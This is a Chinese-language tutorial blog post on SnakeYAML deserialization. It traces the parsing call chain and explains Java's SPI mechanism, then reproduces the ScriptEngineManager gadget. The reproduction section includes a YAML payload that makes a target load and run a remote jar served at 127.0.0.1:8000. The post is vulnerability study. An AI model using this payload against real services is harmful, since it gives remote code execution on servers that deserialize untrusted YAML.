Snake Yaml介绍
Snake Yaml是用于来解析Yaml格式,可用于Java对象的序列化和反序列化。
Snake Yaml简单使用
导入maven依赖
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
常用方法
String dump(Object data) //将Java对象序列化为YAML字符串。
Yaml.load() //入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象
//还有其他的同理 看看源码就好了。
这里写一个User对象
@Data
@AllArgsConstructor
@NoArgsConstructor
public class User {
String name;
int age;
}
写一个yaml_test类
public class yaml {
public static void main(String[] args) {
User user = new User();
user.setName("r0ser1");
Yaml yaml = new Yaml();
String s = yaml.dump(user);
System.out.println(s);
User user1 = yaml.load(s);
System.out.println(user1.getName());
}
}
结果
!!com.demo.pojo.User {age: 0, name: BlBana}
r0ser1
!!
呢就是用于强制类型转换,和fastjson的@type
有点相似?都是指定反序列化的类名。
Snake Yaml反序列化过程
根据上面的demo和用法,我们在load
下断点。load
会直接到loadFromReader
调用BaseConstructor
类的getSingleData
方法获取yaml实例
然后首先调用getSingleNode
将yaml转为node对象。然后走到constructDocument
进入constructDocument
走到constructObjectNoCheck
函数
走到229行,获取data数据
里面大致调用就是首先根据node对象 调用构造函数去寻找他的类型,调用有参构造
拿到这个对象并且返回给obj
继续调用constructJavaBean2ndStep
,mnode
也其实就是类型换成了MappingNode
的node
然后调用node.getValue
获取对象的值然后继续调用constructObject
构造对象Value。然后再后面调用property.set
进行属性设置
然后进行setName
进行赋值操作。下图是调用链
SPI介绍
因为漏洞用到的类设计SPI机制,这里先学习一下SPI机制
SPI机制
SPI是Java提供的一套用于来被第三方实现或者扩展的API,他可以用于框架的扩展或者替换组件,例如我们有多个数据库,我们如果要换的话就必须改动代码。但是我们如果弄一个统一的接口进行调用。Java只需要去寻找接口服务实现类就好了。核心思想也就是解耦。
使用介绍:
当服务的提供者提供了一种接口的实现之后,需要在classpath
下的META-INF/services/
目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。当其他的程序需要这个服务的时候,就可以通过查找这个jar包(一般都是以jar包做依赖)的META-INF/services/
中的配置文件,配置文件中有接口的具体实现类名,可以根据这个类名进行加载实例化,就可以使用该服务了。JDK中查找服务的实现的工具类是:java.util.ServiceLoader
SPI学习来自:https://pdai.tech/md/java/advanced/java-advanced-spi.html,里面有案例的实现。这里举一下例子吧。
SPI简单使用
根据上面知识我们简单写两个类模拟数据库
DataSoure接口
package spi;
public interface DataSoure {
void Driver();
}
Mysql类
package spi;
public class Mysql implements DataSoure {
@Override
public void Driver() {
System.out.println("Mysql");
}
}
Oracle类
package spi;
public class Oracle implements DataSoure {
@Override
public void Driver() {
System.out.println("Oracle");
}
}
Test类
package spi;
import java.util.Iterator;
import java.util.ServiceLoader;
public class test {
public static void main(String[] args) {
ServiceLoader<DataSoure> load = ServiceLoader.load(DataSoure.class);
Iterator<DataSoure> iterator = load.iterator();
iterator.next().Driver();
}
}
选择Mysql类
JDBC底层也是通过这种方式来实现的。
所以Java连接各种驱动的时候只要添加java.sql.Driver
实现接口,然后Java的SPI机制可以为某个接口寻找服务实现,就实现了各种数据库的驱动连接。
SPI原理调试
还是上面的代码从第一步开始调试。进入load之后,我们跟进ServiceLoader.load(service, cl);
发现实例化new ServiceLoader<>(service, loader);
继续跟进
就是获取一些service和加载类和当前线程的ClassLoader
然后进入reload()
返回一个LazyIterator
的实例,然后返回到主函数我们进行迭代。
然后调用hasNext()>nextService()->hasNextService()
然后进行这个资源的加载,然后里面有个迭代器获取名称。赋值给nextName
然后返回到nextService
然后通过反射加载这个类,然后再380行实例化这个对象并且返回。然后回到主函数去调用Driver
这个方法。
流程下来我们知道了如果load可控加载恶意的接口实习类。然后控制Jar包中的META-INF/services
目录中的SPI配置文件,我们就可以服务器通过SPI机制调用恶意类达到恶意代码执行的效果。
漏洞复现
POC脚本https://github.com/artsploit/yaml-payload
脚本也比较简单,实现ScriptEngineFactory
接口,然后在静态代码块处填写需要执行的命令,打包成Jar包放在WEB服务器上就好了。
import org.yaml.snakeyaml.Yaml;
public class yaml {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload-master.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(context);
}
}
漏洞分析
因为前面说到了用到了SPI机制。那我们得思考哪里用到了ServiceLoader.load
。所以我们得注意这个。根据上面代码load处下断点。前面基本都一样,解析遍历yaml数据,然后使用不同的构造器进行反序列化对象
这里不记录了。到最后一个ScriptEngineManager
类对象开始有所不同,调用了newInstance(argumentList)
。可以看到传入的是URLClassLoader
调用有参->init()
->initEngines()
->getServiceLoader
->ServiceLoader.load
最后进行了遍历然后和上面调试过程一样。实例化对象调用无参构造,然后执行我们的恶意代码。
希望静有所思,思有所想!
参考链接
https://github.com/artsploit/yaml-payload/